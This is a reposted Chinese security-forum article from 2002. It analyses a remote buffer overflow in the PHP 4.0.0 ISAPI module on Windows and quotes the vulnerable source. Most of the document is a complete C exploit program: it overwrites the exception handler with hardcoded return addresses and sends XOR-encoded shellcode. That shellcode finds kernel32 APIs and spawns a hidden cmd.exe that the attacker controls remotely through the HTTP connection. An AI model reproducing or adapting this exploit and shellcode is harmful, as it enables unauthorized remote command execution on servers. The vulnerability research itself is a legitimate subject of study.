★帅の蟑螂
级别:管理员 威望:0 经验:20 货币:4114 体力: 来源:127.0.0.1 总发帖数:3059 注册日期:2001-04-19
|
|
查看 邮件 主页 QQ 消息 引用 复制 下载
发信人:inburst(闯入),信区:网络安全精华区 标题:php4.0.0远程溢出源代码分析与测试程序
发信站:安全焦点(2002年2月23日4时53分57秒)
原始链接:http://www.xfocus.net/bbs/view.php?id=20139
php4.0.0远程溢出源代码分析与测试程序
文章来源:袁哥< mailto:
yuange@nsfocus.com> 阅读次数:40
--------------------------------------------------------------------------------
php4.0.0才出来的时候,我们测试发现php4isasp.dll有缓冲溢出漏洞,下面是php4isapi.c的相关源代码:
static void sapi_isapi_register_server_variables(zval
*track_vars_array ELS_DC SLS_DC PLS_DC) { char
static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE]; char
*variable_buf; DWORD variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
char *variable; char *strtok_buf = NULL;
LPEXTENSION_CONTROL_BLOCK lpECB; char **p =
isapi_server_variables;
lpECB = (LPEXTENSION_CONTROL_BLOCK)
SG(server_context);
/* Register the standard ISAPI variables
*/ while (*p) { variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, *p,
static_variable_buf, &variable_len) &&
static_variable_buf[0]) { php_register_variable(*p,
static_variable_buf, track_vars_array ELS_CC PLS_CC); } else if
(GetLastError() == ERROR_INSUFFICIENT_BUFFER) { variable_buf =
(char *) emalloc(variable_len); if
(lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf,
&variable_len) && variable_buf[0]) {
php_register_variable(*p, variable_buf, track_vars_array ELS_CC
PLS_CC); } efree(variable_buf); } p++; }
/* PHP_SELF support */ #ifdef WITH_ZEUS if
(lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO",
static_variable_buf, &variable_len) #else if
(lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME",
static_variable_buf, &variable_len)
/*
php4.0.0漏洞所在地,缓冲溢出。此时的variable_len变量已经是上次调用GetServerVariable 的返回变量
*/ /* php4.0.3 已经修补 */
#endif &&
static_variable_buf[0]) { php_register_variable("PHP_SELF",
static_variable_buf, track_vars_array ELS_CC PLS_CC);
/*
因为形参被覆盖,而这形参又很难伪造,所以传统的溢出攻击因为这个调用不能返回而无效
但我们可以使用异常结构攻击,可以参见我的相关的文章 */
}
/*
Register the internal bits of ALL_HTTP */
variable_len =
ISAPI_SERVER_VAR_BUF_SIZE;
if
(lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP",
static_variable_buf, &variable_len)) { variable_buf =
static_variable_buf; } else { if
(GetLastError()==ERROR_INSUFFICIENT_BUFFER) { variable_buf =
(char *) emalloc(variable_len); if
(!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP",
variable_buf, &variable_len)) { efree(variable_buf);
return; } } else { return; } } variable
= php_strtok_r(variable_buf, "\r\n", &strtok_buf); while
(variable) { char *colon = strchr(variable, ':');
if
(colon) { char *value = colon+1;
while (*value==' ') {
value++; } *colon = 0;
php_register_variable(variable, value, track_vars_array ELS_CC
PLS_CC); *colon = ':'; } variable = php_strtok_r(NULL,
"\r\n", &strtok_buf); } if
(variable_buf!=static_variable_buf) { efree(variable_buf); }
}
因为形参的问题,采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一,可能需要根据被攻击系统的WINDOWS版本调整相关参数。具体攻击测试代码:
/* php4.0 overflow program phphack.c ver 1.0 copy by
yuange <yuange@163.net> 2000。08。16
*/
#include
<windows.h> #include <winsock.h> #include
<stdio.h> #include <httpext.h> // #define DEBUG
//#define RETEIPADDR eipwin2000 #define FNENDLONG 0x08
#define NOPCODE 'B' // INC EDX 0x90 #define NOPLONG 0x3c
#define BUFFSIZE 0x20000
#define RETEIPADDRESS
0x900+4 #define SHELLBUFFSIZE 0x800 #define SHELLFNNUMS 9
#define DATAXORCODE 0xAA #define LOCKBIGNUM 19999999
#define LOCKBIGNUM2 13579139
#define SHELLPORT 0x1f90
//0x1f90=8080 #define WEBPORT 80
void shellcodefnlock();
void shellcodefn(char *ecb);
void cleanchkesp(char
*fnadd,char *shellbuff,char *chkespadd ,int len);
int
main(int argc, char **argv) { char *server; char
*str="LoadLibraryA""\x0""CreatePipe""\x0"
"CreateProcessA""\x0""CloseHandle""\x0" "PeekNamedPipe""\x0"
"ReadFile""\x0""WriteFile""\x0" "Sleep""\x0"
"cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0" "XORDATA""\x0"
"strend"; char buff1[]="GET /default.php4"; char
buff2[]=" HTTP/1.1 \nHOST:"; char
*fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char
SRLF[]="\x0d\x0a\x00\x00";
char eipjmpesp[]
="\xb7\x0e\xfa\x7f"; // push esp // ret char
eipexcept[]="\xb8\x0e\xfa\x7F"; // ret char
eipjmpesi[]="\x08\x88\xfa\x7F"; char
eipjmpedi[]="\xbe\x8b\xfa\x7F"; char
eipjmpebx[]="\x73\x67\xfa\x7F"; // push ebx // ret /*
jmp ebx功能代码地址, 中文WINNT、中文WIN2000此地址固定 这是处于c_936.nls模块
win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。
*/
char buff[BUFFSIZE]; char recvbuff[BUFFSIZE];
char shellcodebuff[0x1000]; struct sockaddr_in s_in2,s_in3;
struct hostent *he; char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong; // unsigned int i,j,k;
unsigned char temp; int fd; u_short
port,port1,shellcodeport; SOCKET d_ip; WSADATA wsaData;
int offset=0; int xordatabegin; int
lockintvar1,lockintvar2; char lockcharvar; int
OVERADD=RETEIPADDRESS; int result;
fprintf(stderr,"\n
PHP4.0 FOR WIN32 OVERFLOW PROGRAM 2.0 ."); fprintf(stderr,"\n
copy by yuange 2000.8.16."); fprintf(stderr,"\n wellcome to my
homepage http://yuange.yeah.net ."); fprintf(stderr,"\n welcome
to http://www.nsfocus.com ."); fprintf(stderr,"\n usage: %s
<server> [webport] \n", argv[0]);
if(argc <2){
fprintf(stderr,"\n please enter the web server:");
gets(recvbuff); for(i=0;i<strlen(recvbuff);++i){
if(recvbuff!=' ') break; }
server=recvbuff;
if(i<strlen(recvbuff)) server+=i; /*
fprintf(stderr,"\n please enter the offset(0-3):");
gets(buff); for(i=0;i<strlen(buff);++i){ if(buff!='
') break; } offset=atoi(buff+i); */ }
result= WSAStartup(MAKEWORD(1, 1), &wsaData); if
(result != 0) { fprintf(stderr, "Your computer was not connected
" "to the Internet at the time that " "this program was
launched, or you " "do not have a 32-bit " "connection to
the Internet."); exit(1); }
/* if(argc>2){
offset=atoi(argv[2]); } OVERADD+=offset;
if(offset<0||offset>3){ fprintf(stderr,"\n offset
error !offset 0 - 3 ."); gets(buff); exit(1); }
*/
if(argc <2){ // WSACleanup( );
// exit(1); } else server = argv[1];
for(i=0;i<strlen(server);++i){ if(server!=' ')
break; } if(i<strlen(server)) server+=i;
for(i=0;i+3<strlen(server);++i){
if(server==':'){
if(server[i+1]=='\\'||server[i+1]=='/'){
if(server[i+2]=='\\'||server[i+2]=='/'){ server+=i;
server+=3; break; } } } }
for(i=1;i<=strlen(server);++i){
if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0; }
d_ip = inet_addr(server); if(d_ip==-1){ he =
gethostbyname(server); if(!he) { WSACleanup( );
printf("\n Can't get the ip of %s !\n",server); gets(buff);
exit(1); } else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port=atoi(argv[2]); else
port=WEBPORT; if(port==0) port=WEBPORT;
fd =
socket(AF_INET, SOCK_STREAM,0); i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *)
&i,sizeof(i));
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port); s_in3.sin_addr.s_addr = d_ip;
printf("\n nuke ip: %s port
%d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct
sockaddr_in))!=0) { closesocket(fd); WSACleanup( );
fprintf(stderr,"\n connect err."); gets(buff); exit(1);
}
_asm{ mov ESI,ESP cmp ESI,ESP }
_chkesp(); chkespadd=_chkesp; temp=*chkespadd;
if(temp==0xe9) { ++chkespadd; i=*(int*)chkespadd;
chkespadd+=i; chkespadd+=4; }
shellcodefnadd=shellcodefnlock; temp=*shellcodefnadd;
if(temp==0xe9) { ++shellcodefnadd; k=*(int
*)shellcodefnadd; shellcodefnadd+=k; shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break; }
memset(buff,NOPCODE,BUFFSIZE); if(argc>4){
memcpy(buff,argv[4],strlen(argv[4])); } else
memcpy(buff,buff1,strlen(buff1)); // strcpy(buff,buff1); //
memset(buff+strlen(buff),NOPCODE,1);
memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80);
// memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80);
shellcodefnadd=shellcodefn; temp=*shellcodefnadd;
if(temp==0xe9) { ++shellcodefnadd; k=*(int
*)shellcodefnadd; shellcodefnadd+=k; shellcodefnadd+=4;
}
for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break; }
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i<0x400;++i){ if(memcmp(str+i,"strend",6)==0)
break; } memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i; for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
// if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
}
for(i=0;i<sendpacketlong;++i){
temp=shellcodebuff; temp^=DATAXORCODE;
if(temp<=0x10||temp=='
'||temp=='.'||temp=='/'||temp=='\\'||temp=='0'||temp=='?'||temp=='%'){
buff[OVERADD+NOPLONG+k]='0';
// buff[NOPLONG+k]='0';
++k; temp+=0x40; } buff[OVERADD+NOPLONG+k]=temp;
// buff[NOPLONG+k]=temp; ++k; }
//
memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong); //
k+=sendpacketlong;
/* for(i=-0x30;i<0x30;i+=4){
memcpy(buff+OVERADD+i,eipexcept,4); }
memcpy(buff+OVERADD+i,eipjmpesp,4); */
for(i=-40;i<0x40;i+=8){
memcpy(buff+OVERADD+i,"\x42\x42\x42\x2D",4);
memcpy(buff+OVERADD+i+4,eipjmpebx,4); }
memcpy(buff+OVERADD+i+8,"\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42",24);
// fprintf(stderr,"\n offset:%d",offset);
/*
192.168.8.48 if(argc>2){
server=argv[2]; if(strcmp(server,"win9x")==0){
memcpy(buff+OVERADD,eipwin9x,4); fprintf(stderr,"\n nuke
win9x."); } if(strcmp(server,"winnt")==0){
memcpy(buff+OVERADD,eipwinnt,4); fprintf(stderr,"\n nuke
winnt."); }
}
*/
sendpacketlong=k+OVERADD+i+NOPLONG;
//sendpacketlong=k+NOPLONG;
strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);
sendpacketlong=strlen(buff); //
buff[sendpacketlong]=0x90; strcpy(buff+sendpacketlong,"\n\n");
/* buff[sendpacketlong]=0x90;
for(i=-0x30;i<0x30;i+=4){
memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4); }
memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);
strcpy(buff+sendpacketlong+OVERADD+i+4,"\xff\x63\x64");
strcpy(buff+sendpacketlong+OVERADD+i+20,"\n\n"); */
// printf("\n send buff:\n%s",buff); //
strcpy(buff+OVERADD+NOPLONG,shellcode);
sendpacketlong=strlen(buff);
/* #ifdef DEBUG
_asm{ lea esp,buff add esp,OVERADD ret
}
#endif
*/ if(argc>6) {
if(strcmp(argv[6],"debug")==0) { _asm{ lea esp,buff
add esp,OVERADD ret } } }
xordatabegin=0; for(i=0;i<1;++i){
j=sendpacketlong; fprintf(stderr,"\n send packet %d
bytes.",j); // fprintf(stderr,"\n sned:\n%s ",buff);
send(fd,buff,j,0); k=recv(fd,recvbuff,0x1000,0);
if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
xordatabegin=1; k=-1; fprintf(stderr,"\n ok!\n"); }
if(k>0){ recvbuff[k]=0; fprintf(stderr,"\n recv:\n
%s",recvbuff); }
}
k=1; ioctlsocket(fd,
FIONBIO, &k);
// fprintf(stderr,"\n now begin: \n");
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
/*
for(i=0;i<strlen(SRLF);++i){ SRLF^=DATAXORCODE; }
send(fd,SRLF,strlen(SRLF),0); send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0); */ k=1; while(k!=0){
if(k<0){ gets(buff); k=strlen(buff);
memcpy(buff+k,SRLF,3); // send(fd,SRLF,strlen(SRLF),0);
// fprintf(stderr,"%s",buff); for(i=0;i<k+2;++i){
lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100; buff^=lockcharvar; //
DATAXORCODE; // buff^=DATAXORCODE; }
send(fd,buff,k+2,0); // send(fd,SRLF,strlen(SRLF),0); }
k=recv(fd,buff,0x1000,0);
if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0)
{ xordatabegin=1; k=-1; }
if(k>0){ //
fprintf(stderr,"recv %d bytes",k); if(xordatabegin==1){
for(i=0;i<k;++i){ lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100; buff^=lockcharvar; //
DATAXORCODE; } } buff[k]=0;
fprintf(stderr,"%s",buff); } // if(k==0) break; }
closesocket(fd); WSACleanup( ); fprintf(stderr,"\n the
server close connect."); gets(buff); return(0); }
void shellcodefnlock() { _asm{ nop nop nop
nop nop nop nop nop _emit('.')
_emit('p') _emit('h') _emit('p') _emit('4')
_emit('?')
jmp next getediadd: pop EDI push
EDI pop ESI push ebx // ecb push ebx // call shellcodefn
ret address xor ecx,ecx looplock: lodsb cmp al,cl jz
shell cmp al,0x30 jz clean0 sto: xor al,DATAXORCODE
stosb jmp looplock clean0: lodsb sub al,0x40 jmp
sto next: call getediadd shell: NOP NOP NOP NOP
NOP NOP NOP NOP
} }
void
shellcodefn(char *ecb) { char Buff[SHELLBUFFSIZE+2]; int
*except[2];
FARPROC Sleepadd; FARPROC WriteFileadd;
FARPROC ReadFileadd; FARPROC PeekNamedPipeadd; FARPROC
CloseHandleadd; FARPROC CreateProcessadd; FARPROC
CreatePipeadd; FARPROC procloadlib;
FARPROC apifnadd[1];
FARPROC procgetadd=0; FARPROC writeclient= *(int
*)(ecb+0x84); FARPROC readclient = *(int *)(ecb+0x88); HCONN
ConnID = *(int *)(ecb+8) ; char *stradd; int
imgbase,fnbase,k,l; HANDLE libhandle; //libwsock32;
STARTUPINFO siinfo;
PROCESS_INFORMATION
ProcessInFORMation; HANDLE
hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; int lBytesRead;
int lockintvar1,lockintvar2; char lockcharvar;
SECURITY_ATTRIBUTES sa; _asm { jmp nextcall
getstradd: pop stradd lea EDI,except mov dword ptr
FS:[0],EDI } except[0]=0xffffffff;
except[1]=stradd-0x07;
imgbase=0x77e00000; _asm{
call getexceptretadd }
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000; if(imgbase==0x78000000)
imgbase=0xbff00000; if(*( WORD *)imgbase=='ZM'&& *(WORD
*)(imgbase+*(int *)(imgbase+0x3c))=='EP'){ fnbase=*(int
*)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase; k=*(int
*)(fnbase+0xc)+imgbase; if(*(int *)k =='NREK'&&*(int
*)(k+4)=='23LE'){ libhandle=imgbase; k=imgbase+*(int
*)(fnbase+0x20); for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int
*)(4+imgbase+*(int *)k)=='Acor') { k=*(WORD
*)(l+l+imgbase+*(int *)(fnbase+0x24)); k+=*(int
*)(fnbase+0x10)-1; k=*(int *)(k+k+k+k+imgbase+*(int
*)(fnbase+0x1c)); procgetadd=k+imgbase; break; } }
} } } //搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
//注意这儿处理了搜索页面不在情况。
if(procgetadd==0) goto die ;
for(k=1;k<SHELLFNNUMS;++k) {
apifnadd[k]=procgetadd(libhandle,stradd); for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break; }
++stradd; }
sa.nLength=12;
sa.lpSecurityDescriptor=0; sa.bInheritHandle=TRUE;
CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
// ZeroMemory(&siinfo,sizeof(siinfo)); _asm{
lea EDI,siinfo xor eax,eax mov ecx,0x11 repnz stosd
} siinfo.dwFlags =
STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; siinfo.wShowWindow =
SW_HIDE; siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput=hWritePipe1; siinfo.hStdError
=hWritePipe1; k=0; // while(k==0) // {
k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInFORMation);
stradd+=8; // }
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
k=8; writeclient(ConnID,stradd+9,&k,0);
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
while(1) {
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
if(lBytesRead>0) {
ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead>0) { for(k=0;k<lBytesRead;++k){
lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100; Buff[k]^=lockcharvar; //
DATAXORCODE; // Buff[k]^=DATAXORCODE; }
writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
} } else{ lBytesRead=SHELLBUFFSIZE;
k=readclient(ConnID,Buff,&lBytesRead); if(k!=1){
k=8; WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
cmd.exe WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
cmd.exe WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
cmd.exe while(1){ Sleepadd(0x7fffffff); //僵死 }
}
else{ for(k=0;k<lBytesRead;++k){
lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100; Buff[k]^=lockcharvar; //
DATAXORCODE; // Buff[k]^=DATAXORCODE; }
WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
// Sleepadd(1000); } } }
die: goto die ;
_asm{
getexceptretadd: pop eax push eax mov
edi,dword ptr [stradd] mov dword ptr [edi-0x0e],eax ret
errprogram: mov eax,dword ptr [esp+0x0c] add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe xor eax,eax //2
ret //1 execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes NOP NOP NOP
NOP NOP NOP NOP NOP NOP } }
void cleanchkesp(char *fnadd,char *shellbuff,char *
chkesp,int len) { int i,k; unsigned char temp; char
*calladd;
for(i=0;i<len;++i){ temp=shellbuff;
if(temp==0xe8){ k=*(int *)(shellbuff+i+1);
calladd=fnadd; calladd+=k; calladd+=i; calladd+=5;
if(calladd==chkesp){ shellbuff=0x90;
shellbuff[i+1]=0x43; // inc ebx shellbuff[i+2]=0x4b; // dec
ebx shellbuff[i+3]=0x43; shellbuff[i+4]=0x4b; } }
} }
-- 不得其门而入:( ※ 来源:·安全焦点讨论区
www.xfocus.net·
[ 此消息由 ★帅の蟑螂 在 2002-04-11.20:25:23 编辑过
] |